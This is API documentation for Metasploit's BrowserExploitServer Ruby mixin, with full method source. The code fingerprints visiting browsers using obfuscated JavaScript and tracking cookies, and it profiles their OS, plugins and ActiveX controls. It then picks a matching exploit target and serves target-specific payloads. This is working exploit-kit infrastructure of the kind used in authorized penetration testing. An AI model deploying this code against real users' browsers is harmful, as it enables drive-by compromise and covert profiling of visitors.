Module: Msf::Exploit::Remote::BrowserExploitServer

Includes:
HttpServer::HTML, Msf::Exploit::RopDb
Defined in:
lib/msf/core/exploit/remote/browser_exploit_server.rb

Constant Summary collapse

'__ua'
PROXY_REQUEST_HEADER_SET =
Set.new(
%w{
   CLIENT_IP
   FORWARDED
   FORWARDED_FOR
   FORWARDED_FOR_IP
   HTTP_CLIENT_IP
   HTTP_FORWARDED
   HTTP_FORWARDED_FOR
   HTTP_FORWARDED_FOR_IP
   HTTP_PROXY_CONNECTION
   HTTP_VIA
   HTTP_X_FORWARDED
   HTTP_X_FORWARDED_FOR
   VIA
   X_FORWARDED
   X_FORWARDED_FOR
})
REQUIREMENT_KEY_SET =

Requirements a browser module can define in either BrowserRequirements or in targets

{
  :source       => 'source',       # Either 'script' or 'headers'
  :ua_name      => 'ua_name',      # Example: MSIE
  :ua_ver       => 'ua_ver',       # Example: 8.0, 9.0
  :os_name      => 'os_name',      # Example: Microsoft Windows
  :os_flavor    => 'os_flavor',    # Example: XP, 7
  :language     => 'language',     # Example: en-us
  :arch         => 'arch',         # Example: x86
  :proxy        => 'proxy',        # 'true' or 'false'
  :silverlight  => 'silverlight',  # 'true' or 'false'
  :office       => 'office',       # Example: "2007", "2010"
  :java         => 'java',         # Example: 1.6, 1.6.0.0
  :clsid        => 'clsid',        # ActiveX clsid. Also requires the :method key
  :method       => 'method',       # ActiveX method. Also requires the :clsid key
  :mshtml_build => 'mshtml_build', # mshtml build. Example: "65535"
  :flash        => 'flash'         # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
}

Instance Method Summary collapse

Methods included from Msf::Exploit::RopDb

#generate_rop_payload, #has_rop?, #rop_junk, #rop_nop, #select_rop

Methods included from HttpServer

#add_resource, #autofilter, #check_dependencies, #cleanup, #cli, #cli=, #close_client, #create_response, #fingerprint_user_agent, #get_resource, #get_uri, #hardcoded_uripath, #print_debug, #print_error, #print_line, #print_status, #print_warning, #random_uri, #regenerate_payload, #remove_resource, #report_user_agent, #resource_uri, #send_local_redirect, #send_not_found, #send_redirect, #send_response, #srvhost_addr, #start_service, #use_zlib, #vprint_debug, #vprint_error, #vprint_line, #vprint_status, #vprint_warning

Methods included from Auxiliary::Report

#db, #get_client, #get_host, #inside_workspace_boundary?, #mytask, #myworkspace, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from TcpServer

#cleanup, #exploit, #on_client_close, #on_client_connect, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvport, #ssl, #ssl_cert, #ssl_compression, #start_service, #stop_service

Instance Method Details


424
425
426
427
428
429
430
431
432
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 424

def cookie_header(tag)
  cookie = "#{cookie_name}=#{tag};"
  if datastore['CookieExpiration'].present?
    expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i)
    expires_str  = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT")
    cookie << " Expires=#{expires};"
  end
  cookie
end

420
421
422
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 420

def cookie_name
  datastore['CookieName'] || DEFAULT_COOKIE_NAME
end

#extract_requirements(reqs) ⇒ Hash

Returns a hash of recognizable requirements


129
130
131
132
133
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 129

def extract_requirements(reqs)
  tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
  # Make sure keys are always symbols
  Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end

#get_bad_requirements(profile) ⇒ Array

Returns an array of items that do not meet the requirements


176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 176

def get_bad_requirements(profile)
  bad_reqs = []

  # At this point the check is already done.
  # If :activex is true, that means the clsid + method had a match,
  # if not, then false.
  if @requirements[:clsid] and @requirements[:method]
    @requirements[:activex] = 'true' # Script passes boolean as string
  end

  @requirements.each do |k, v|
    # Special keys to ignore because the script registers this as [:activex] = true or false
    next if k == :clsid or k == :method

    vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}")

    if v.is_a? Regexp
      bad_reqs << k if profile[k.to_sym] !~ v
    elsif v.is_a? Proc
      bad_reqs << k unless v.call(profile[k.to_sym])
    else
      bad_reqs << k if profile[k.to_sym] != v
    end
  end

  bad_reqs
end

#get_detection_html(user_agent) ⇒ String

Returns the code for client-side detection


352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 352

def get_detection_html(user_agent)
  ua_info = fingerprint_user_agent(user_agent)
  os      = ua_info[:os_name]
  client  = ua_info[:ua_name]

  code = ERB.new(%Q|
  <%= js_base64 %>
  <%= js_os_detect %>
  <%= js_ajax_post %>
  <%= js_misc_addons_detect %>
  <%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>

  function objToQuery(obj) {
    var q = [];
    for (var key in obj) {
      q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
    }
    return Base64.encode(q.join('&'));
  }


  window.onload = function() {
    var osInfo = window.os_detect.getVersion();
    var d = {
      "<%=REQUIREMENT_KEY_SET[:os_name]%>"     : osInfo.os_name,
      "<%=REQUIREMENT_KEY_SET[:os_flavor]%>"   : osInfo.os_flavor,
      "<%=REQUIREMENT_KEY_SET[:ua_name]%>"     : osInfo.ua_name,
      "<%=REQUIREMENT_KEY_SET[:ua_ver]%>"      : osInfo.ua_version,
      "<%=REQUIREMENT_KEY_SET[:arch]%>"        : osInfo.arch,
      "<%=REQUIREMENT_KEY_SET[:java]%>"        : window.misc_addons_detect.getJavaVersion(),
      "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(),
      "<%=REQUIREMENT_KEY_SET[:flash]%>"       : window.misc_addons_detect.getFlashVersion()
    };

    <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
      d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
      d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
      <%
        clsid  = @requirements[:clsid]
        method = @requirements[:method]
        if clsid and method
      %>
      d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
      <% end %>
    <% end %>

    var query = objToQuery(d);
    postInfo("<%=get_resource.chomp("/")%>/<%[email protected]_receiver_page%>/", query, function(){
      window.location="<%= get_module_resource %>";
    });
  }
  |).result(binding())

  js = ::Rex::Exploitation::JSObfu.new code
  js.obfuscate

  %Q|
  <script>
  #{js}
  </script>
  <noscript>
  <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
  <meta http-equiv="refresh" content="1; url=#{get_module_resource}">
  </noscript>
  |
end

#get_module_resourceString

Returns the resource (URI) to the module to allow access to on_request_exploit


103
104
105
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 103

def get_module_resource
  "#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"
end

#get_module_uriString

Returns the absolute URL to the module's resource that points to on_request_exploit


112
113
114
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 112

def get_module_uri
  "#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end

#get_payload(cli, browser_info) ⇒ String

Generates a target-specific payload, should be called by the module


543
544
545
546
547
548
549
550
551
552
553
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 543

def get_payload(cli, browser_info)
  arch     = browser_info[:arch]
  platform = browser_info[:os_name]

  # Fix names for consisntecy so our API can find the right one
  # Originally defined in lib/msf/core/constants.rb
  platform = platform.gsub(/^Mac OS X$/, 'OSX')
  platform = platform.gsub(/^Microsoft Windows$/, 'Windows')

  regenerate_payload(cli, platform, arch).encoded
end

#get_profile(tag) ⇒ Hash

Returns the target profile based on the tag. Each profile has the following structure: 'cookie_name' =>

:os_name   => 'Windows',
:os_flavor => 'something'
...... etc ......

A profile should at least have info about the following: :source : The data source. Either from 'script', or 'headers'. The 'script' source

should be more accurate in some scenarios like browser compatibility mode

:ua_name : The name of the browser :ua_ver : The version of the browser :os_name : The name of the OS :os_flavor : The flavor of the OS (example: XP) :language : The system's language :arch : The system's arch :proxy : Indicates whether proxy is used

For more info about what the actual value might be for each key, see HttpServer.

If the source is 'script', the profile might have even more information about plugins: 'office' : The version of Microsoft Office (IE only) 'activex' : Whether a specific method is available from an ActiveX control (IE only) 'java' : The Java version 'mshtml_build' : The MSHTML build version 'flash' : The Flash version 'silverlight' : The Silverlight version


236
237
238
239
240
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 236

def get_profile(tag)
  sync do
    return @target_profiles[tag]
  end
end

#get_targetObject

Returns the current target


119
120
121
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 119

def get_target
  @target
end

#has_proxy?(request) ⇒ Boolean

Checks if the target is running a proxy


341
342
343
344
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 341

def has_proxy?(request)
  proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
  !proxy_header_set.empty?
end

#init_profile(tag) ⇒ Object

Initializes a profile, if it did not previously exist


260
261
262
263
264
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 260

def init_profile(tag)
  sync do
    @target_profiles[tag] ||= {}
  end
end

#initialize(info = {}) ⇒ Object


62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 62

def initialize(info={})
  super

  # The mixin keeps 'target' so module doesn't lose it.
  @target = target

  # See get_profile's documentation to understand what @target_profiles stores
  @target_profiles = {}

  # Requirements are conditions that the browser must have in order to be exploited.
  @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})

  @info_receiver_page     = rand_text_alpha(5)
  @exploit_receiver_page  = rand_text_alpha(6)
  @noscript_receiver_page = rand_text_alpha(7)

  register_options(
  [
    OptBool.new('Retries', [false,  "Allow the browser to retry the module", true])
  ], Exploit::Remote::BrowserExploitServer)

  register_advanced_options([
    OptString.new('CookieName', [false,  "The name of the tracking cookie", DEFAULT_COOKIE_NAME]),
    OptString.new('CookieExpiration', [false,  "Cookie expiration in years (blank=expire on exit)"])
  ], Exploit::Remote::BrowserExploitServer)
end

#on_request_exploit(cli, request, browser_info) ⇒ Object

Overriding method. The module should override this.

Raises:

  • (NoMethodError)

513
514
515
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 513

def on_request_exploit(cli, request, browser_info)
  raise NoMethodError, "Module must define its own on_request_exploit method"
end

#on_request_uri(cli, request) ⇒ Object

Handles exploit stages.


440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 440

def on_request_uri(cli, request)
  case request.uri
  when get_resource.chomp("/")
    #
    # This is the information gathering stage
    #
    if get_profile(retrieve_tag(cli, request))
      send_redirect(cli, get_module_resource)
      return
    end

    print_status("Gathering target information.")
    tag = Rex::Text.rand_text_alpha(rand(20) + 5)
    ua = request.headers['User-Agent'] || ''
    init_profile(tag)
    print_status("Sending response HTML.")
    send_response(cli, get_detection_html(ua), {'Set-Cookie' => cookie_header(tag)})

  when /#{@info_receiver_page}/
    #
    # The detection code will hit this if Javascript is enabled
    #
    vprint_status "Info receiver page called."
    process_browser_info(:script, cli, request)
    send_response(cli, '', {'Set-Cookie' => cookie_header(tag)})

  when /#{@noscript_receiver_page}/
    #
    # The detection code will hit this instead of Javascript is disabled
    # Should only be triggered by the img src in <noscript>
    #
    process_browser_info(:headers, cli, request)
    send_not_found(cli)

  when /#{@exploit_receiver_page}/
    #
    # This sends the actual exploit. A module should define its own
    # on_request_exploit() to get the target information
    #
    tag = retrieve_tag(cli, request)
    vprint_status("Serving exploit to user with tag #{tag}")
    profile = get_profile(tag)
    if profile.nil?
      print_status("Browsing directly to the exploit URL is forbidden.")
      send_not_found(cli)
    elsif profile[:tried] and datastore['Retries'] == false
      print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
      send_not_found(cli)
    else
      update_profile(profile, :tried, true)
      vprint_status("Setting target \"#{tag}\" to :tried.")
      try_set_target(profile)
      bad_reqs = get_bad_requirements(profile)
      if bad_reqs.empty?
        method(:on_request_exploit).call(cli, request, profile)
      else
        print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
        send_not_found(cli)
      end
    end

  else
    send_not_found(cli)
  end
end

#process_browser_info(source, cli, request) ⇒ Object

Registers target information to @target_profiles


298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 298

def process_browser_info(source, cli, request)
  tag = retrieve_tag(cli, request)
  init_profile(tag)
  target_info = get_profile(tag)
  update_profile(target_info, :source, source.to_s)

  # Gathering target info from the detection stage
  case source
  when :script
    # Gathers target data from a POST request
    parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
    vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.")
    parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
  when :headers
    # Gathers target data from headers
    # This may be less accurate, and most likely less info.
    fp = fingerprint_user_agent(request.headers['User-Agent'])
    # Module has all the info it needs, ua_string is kind of pointless.
    # Kill this to save space.
    fp.delete(:ua_string)
    fp.each do |k, v|
      update_profile(target_info, k.to_sym, v)
    end
  end

  # Other detections
  update_profile(target_info, :proxy, has_proxy?(request))
  update_profile(target_info, :language, request.headers['Accept-Language'] || '')

  report_client({
    :host      => cli.peerhost,
    :ua_string => request.headers['User-Agent'],
    :ua_name   => target_info[:ua_name],
    :ua_ver    => target_info[:ua_ver]
  })
end

#retrieve_tag(cli, request) ⇒ Object

Retrieves a tag. First it obtains the tag from the browser's “Cookie” header. If the header is empty (possible if the browser has cookies disabled), then it will return a tag based on IP + the user-agent.


274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 274

def retrieve_tag(cli, request)
  cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
  tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first

  if tag.blank?
    # Browser probably doesn't allow cookies, plan B :-/
    vprint_status("No cookie received, resorting to headers hash.")
    ip = cli.peerhost
    os = request.headers['User-Agent']
    tag = Rex::Text.md5("#{ip}#{os}")
  else
    vprint_status("Received cookie '#{tag}'.")
  end

  tag
end

#send_exploit_html(cli, template, headers = {}) ⇒ Object

Converts an ERB-based exploit template into HTML, and sends to client


526
527
528
529
530
531
532
533
534
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 526

def send_exploit_html(cli, template, headers={})
  html = ''
  if template.class == Array
    html = ERB.new(template[0]).result(template[1])
  else
    html = ERB.new(template).result
  end
  send_response(cli, html, headers)
end

#sync(&block) ⇒ Object

Allows a block of code to access BES resources in a thread-safe fashion


94
95
96
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 94

def sync(&block)
  (@mutex ||= Mutex.new).synchronize(&block)
end

#try_set_target(profile) ⇒ Object

Sets the target automatically based on what requirements are met. If there's a possible matching target, it will also merge the requirements. You can use the get_target() method to retrieve the most current target.


142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 142

def try_set_target(profile)
  match_counts        = []
  target_requirements = {}

  targets.each do |t|
    target_requirements = extract_requirements(t.opts)
    if target_requirements.blank?
      match_counts << 0
    else
      match_counts << target_requirements.select { |k,v|
        if v.class == Regexp
          profile[k] =~ v
        else
          profile[k] == v
        end
      }.length
    end
  end

  if match_counts.max.to_i > 0
    @target = targets[match_counts.index(match_counts.max)]
    target_requirements = extract_requirements(@target.opts)
    unless target_requirements.blank?
      @requirements = @requirements.merge(target_requirements)
    end
  end
end

#update_profile(target_profile, key, value) ⇒ Object

Updates information for a specific profile


249
250
251
252
253
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 249

def update_profile(target_profile, key, value)
  sync do
    target_profile[key] = value
  end
end